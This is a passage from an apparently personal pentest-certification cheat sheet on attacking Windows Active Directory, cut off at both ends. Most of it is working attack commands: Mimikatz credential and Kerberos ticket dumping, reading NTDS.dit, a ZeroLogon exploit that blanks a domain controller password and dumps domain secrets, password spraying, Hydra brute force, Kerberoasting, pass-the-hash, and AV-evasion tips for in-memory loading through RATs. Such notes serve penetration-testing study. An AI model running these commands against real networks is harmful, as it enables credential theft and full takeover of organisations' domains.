-Server asd.domain.com -Properties * # Powershell
# get list of all groups in the domain
cmd> net group /domain
PS > Get-ADUser -Filter 'Name -like "*lorenzo"' -Server asd.domain.com | Format-Table Name,SamAccountName -A
PS > Get-NetGroup -GroupName * # Using PowerView.ps1
# enumerate AD groups
PS > Get-ADGroup -Identity Administrators -Server asd.domain.com
# get details such as membership to a group
cmd> net group [groupname] /domain
PS > Get-ADGroupMember -Identity Administrators -Server domain.com # Powershell
# get the password policy of the domain
cmd> net accounts /domain
# get all AD objects that were changed after a specific date
PS > $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
PS > Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server asd.domain.com
# enumerate accounts that have a badPwdCount that is greater than 0
# useful to avoid these accounts in our bruteforce attacks
PS > Get-ADObject -Filter 'badPwdCount -gt 0' -Server domain.com
# get additional information about the specific domain
PS> Get-ADDomain -Server asd.domain.com
# get all computers in domain
cmd> net view
cmd> net view /domain
# get resources/shares of specified computer
cmd> net view \\[computer_name] /domain
# get a list of all operating systems on the domain
PS > Get-NetComputer -fulldata | select operatingsystem # Using PowerView.ps1
```
Domain Controller hostname (PdcRoleOwner)\*\*
```powershell
PS> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```
This PowerShell script will collect all users along with their attributes:
```powershell
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "------------------------"
}
```
In the filter property, we can set any attribute of the object type we desire. For example, we can use the *name* property to create a filter for the Jeff\_Admin user as shown below:
```
$Searcher.filter="name=Jeff_Admin"
```
## Nested Groups
Locate all groups in the domain and print their names:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name
}
List the members of a group by setting an appropriate filter on the *name* property. In addition, we will only display the *member* attribute to obtain the group members.
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=GROUPNAME)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
## Logged-in users and active user sessions
* More powerview commands
```powershell
PS> Set-ExecutionPolicy Unrestricted
PS> Import-Module .\PowerView.ps1
PS> Get-NetLoggedon -ComputerName [computer_name] # enum logged-in users
PS> Get-NetSession -ComputerName [domain_controller] # enum active user sessions
```
## Service Principal Names (AD Service Accounts)
* A SPN is a unique name for a service on a host, used to associate with an Active Directory service account.
* Enum SPNs to obtain the IP address and port number of apps running on servers integrated with Active Directory.
* Query the Domain Controller in search of SPNs.
* SPN Examples
* `CIFS/MYCOMPUTER$` - file share access.
* `LDAP/MYCOMPUTER$` - querying AD info via. LDAP.
* `HTTP/MYCOMPUTER$` - Web services such as IIS.
* `MSSQLSvc/MYCOMPUTER$` - MSSQL.
For example, let's update our PowerShell enumeration script to filter the *serviceprincipalname* property for the string *\*http\**, indicating the presence of a registered web server:
```powershell
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
}
```
* Perform `nslookup` of the service hostname -> see if there is an entrypoint here.
* Automated SPN enum scripts:
```powershell
# Kerberoast: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
PS> .\GetUserSPNs.ps1
# Powershell Empire: https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
PS> .\Get-SPN.ps1
```
[^1]:
# AD Automatic Enumeration
## Sharpound
There are two different Sharphound collectors:
**SharpHound.ps1**: PowerShell script for running Sharphound. However, the latest release of Sharphound has stopped releasing the Powershell script version. This version is good to use with RATs since the script can be loaded directly into memory, evading on-disk AV scans.
SharpHound.exe: a Windows executable version for running Sharphound.
Both are available here:
{% embed url="" %}
Run Sharphound using the All and Session collection methods:
```powershell
cmd> Sharphound.exe --CollectionMethods All --Domain asd.domain.com --ExcludeDCs
```
Once completed, you will have a timestamped ZIP file in the same folder you executed Sharphound from.
## BloodHound
From Kali:
```
neo4j console start
```
In another Terminal tab, run:
```bash
bloodhound --no-sandbox # This will show you the authentication GUI
```
{% hint style="info" %}
The default credentials for the neo4j database will be `neo4j:neo4j`
{% endhint %}
Drag and drop the ZIP file onto the Bloodhound GUI to import it.
# AD Authentication
## Dumping NTLM Hashes and Plaintext Credentials
NTLM authentication uses a challenge-response model, where a nonce/challenge encrypted using the user's NTLM hash is validated by the Domain Controller.
Dumping LM/NTLM hashes with Mimikatz
* [Full Mimikatz Guide](https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords)
* Requires local admin rights.
```bash
# escalate security token to SYSTEM integrity
mimikatz > privilege::debug
mimikatz > token::elevate
# dump NTLM hashes + plaintext creds
mimikatz.exe lsadump::secrets "vault::cred /patch" lsadump::sam
mimikatz > lsadump::secrets
mimikatz > vault::cred /patch
mimikatz > lsadump::sam # dump contents of SAM db in current host
mimikatz > sekurlsa::logonpasswords # dump creds of logged-on users
```
Other tools
```bash
cmd> pwdump.exe localhost
cmd> fgdump.exe localhost # improved pwdump, shutdown firewalls
cmd> type C:\Windows\NTDS\NTDS.dit # all domain hashes in NTDS.dit file on the Domain Controller
```
## Dumping Kerberos Tickets
Kerberos authentication uses a ticketing system, where a Ticket Granting Ticket (TGT) is issued by the Domain Controller (with the role of Key Distribution Center (KDC)) and is used to request tickets from the Ticket Granting Service (TGS) for access to resources/systems joined to the domain.
* Hashes are stored in the Local Security Authority Subsystem Service (LSASS).
* LSASS process runs as SYSTEM, so we need SYSTEM / local admin to dump hashes stored on target.
Dumping Kerberos TGT/TGS tickets with Mimikatz
```bash
mimikatz > sekurlsa::tickets
```
See "[Service Account Attacks](/active-directory/ad-lateral-movement#service-account-attacks)" on how to abuse dumped tickets.
# AD Lateral Movement
Useful [Powershell one-liners](https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70).
Useful [lateral movement techniques](https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/).
[Abusing Kerberos](https://www.hackingarticles.in/abusing-kerberos-using-impacket/) using Impacket.
Kerberos attack [cheatsheet](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#kerberos-cheatsheet).
## ZeroLogon Vulnerability
Try Zerologon (requires reset after use as account pw is set to empty)
* Source:
* Affects ALL Windows Server versions, but we want to target DCs (high-value).
```bash
# set computer account password to an empty string.
$ python3 set_empty_pw.py [dc_computername] [dc_ip]
$ python3 set_empty_pw.py xor-dc01 10.11.1.120
# dump domain creds
$ python secretsdump.py -hashes :[empty_password_hash] '[domain]/[dc_computername]$@[dc_ip]'
$ python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'xor/xor-dc01$@x.x.x.x'
```
## Password Spraying
* Dumped plaintext cred or cracked hash for your user?
* However, no creds/hashes for other users/SPN to use for lateral movement?
* Does the plaintext cred follow some pattern? e.g. `IAmUser01, IAmUser02 ...`
* Use `spray-passwords.ps1` script:
```bash
# test password against all users in the AD, including admins.
PS> .\spray-passwords.ps1 -Admin -Pass IamUser01
PS> .\spray-passwords.ps1 -Admin -Pass IamUser02
...
```
If there are too many users/passwords to manually each cred against RDP, use Hydra to bruteforce RDP:
* As not all users are part of the "NT AUTHORITY\REMOTE INTERACTIVE LOGON" group.
```
$ hydra -L users.txt -P pass.txt rdp://[target]
```
## Plaintext Credentials
```bash
# RDP clients
$ rdesktop [target] -d [domain] -u [user] -p [password]
$ remmina -c rdp://[username]:[password]@[target]
# WinRM client (used in compromised computer) - ensure WSMAN port 5985 is open on target
PS> winrm quickconfig # start winrm service
PS> winrm set winrm/config/Client @{AllowUnencrypted = "true"} # allow HTTP
PS> Set-Item WSMan:localhost\client\trustedhosts -value * # trust all hosts
cmd> winrs -u:[username] -p:[password] -r:http://[target]:5985/wsman "cmd" # execute command
# Admin groups but with a "MANDATORY LABEL\MEDIUM" context?
# Try UAC bypass technique.
# See https://github.com/brianlam38/OSCP-2022/blob/main/cheatsheet-main.md#user-account-control-uac-bypass
```
## Service Account Attacks
* If we know the `serviceprincipalname` value from prior AD enum, we can target the SPN by by requesting a service ticket for it from the Domain Controller and access resources from the service with our own ticket.
```bash
# request service ticket
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken \
-ArgumentList '[service_principal_name]'
# export cached tickets
mimikatz > kerberos::list /export
```
Crack SPN hashes
```bash
# Kerberoast
$ python3 tgsrepcrack.py rockyou.txt [ticket.kirbi] # locally crack hashes
PS> Invoke-Kerberoast.ps1 # crack hashes on target
# John the Ripper
$ python3 kirbi2john.py -o johncrackfile ticket.kirbi # convert ticket to john file
$ john --wordlist=rockyou.txt johncrackfile
```
## Pass the Hash
(NTLM based AuthN)
* Requires user/service account to have local admin rights on target, as connection is made using the `Admin$` share.
* Requires SMB connection through the firewall
* Requires Windows File and Print Sharing feature to be enabled.
```bash
# Method 1
$ pth-winexe -U [domain]/[username]%[blank_hash]:[ntlm_hash] //[target] [command_to_exec]
$ pth-winexe -U xor/Administrator%aad3b435b51404eeaad3b435b51404ee:08df31234567890bf6 //10.1.1.1 cmd.exe
^OR try without domain prefix in -U flag
# Method 2
$ python wmiexec.py Administrator@[target] -hashes [LM]:[NT/NTLM]
$ python wmiexec.py Administrator@10.11.1.22 -hashes [leavebankifnoLM]:ee12345067801f38115019ca2fb
# Method 3
$ python psexec.py [username]@[target] -hashes :[NT/NTLM]
# Method 4 - RDP PTH
$ xfreerdp /u:Administrator /pth:[NTLM hash] /d:[domain] /v:[target]
#If error occurs "Account Restrictions are preventing this user from signing in.” enable Restricted Admin Mode:
$ crackmapexec smb [target] -u [username] -H [hash] -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
# Method 5 - see guide https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec/
$ crackmapexec smb [target] -u [username] -H [hash] -x "whoami"
# Method 6 - evilwinrm
evilwinrm -i -u -H
```
## Overpass the Hash
(NTLM Hash -> Kerberos-based AuthN)
* Attack path: obtain a user's NTLM hash -> start new cmd/ps process as user -> request Kerberos TGT as user -> code exec on any machine where the user has permissions.
* Requirement: user/service account to have local admin on target machine.
* Useful when Kerberos is the only authentication mechanism allowed in a target (NTLM authN disabled).
* `psexec.exe` requires local admin rights as it accesses admin$ share.
* NOTE: We can only use the TGT on the machine it was created for.
OPTH via. COMPROMISED HOST
```bash
### WITH MIMIKATZ ON COMPROMISED HOST
mimikatz > sekurlsa::logonpasswords # obtain NTLM hash
mimikatz > sekurlsa::pth # create new PS process in context of target user
/user:[user_name]
/domain:[domain_name]
/ntlm:[hash_value]
/run:PowerShell.exe
# (new PS window, but on same host)
PS> klist # should show no TGT/TGS
PS> net use \\dc01 (try other comps/targets) # generate TGT by authN to network share on the computer
PS> klist # now should show TGT/TGS
PS> .\PsExec.exe \\[computer] cmd.exe # use TGT to perform code exec against
# target which user has permissions on.
# (as Psexec does not accept hashes)
```
OPTH via. KALI
```bash
# [OPTION 1 TICKET RETRIEVAL] Request the TGT with hash
$ python getTGT.py / -hashes [lm_hash]:
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
$ python getTGT.py /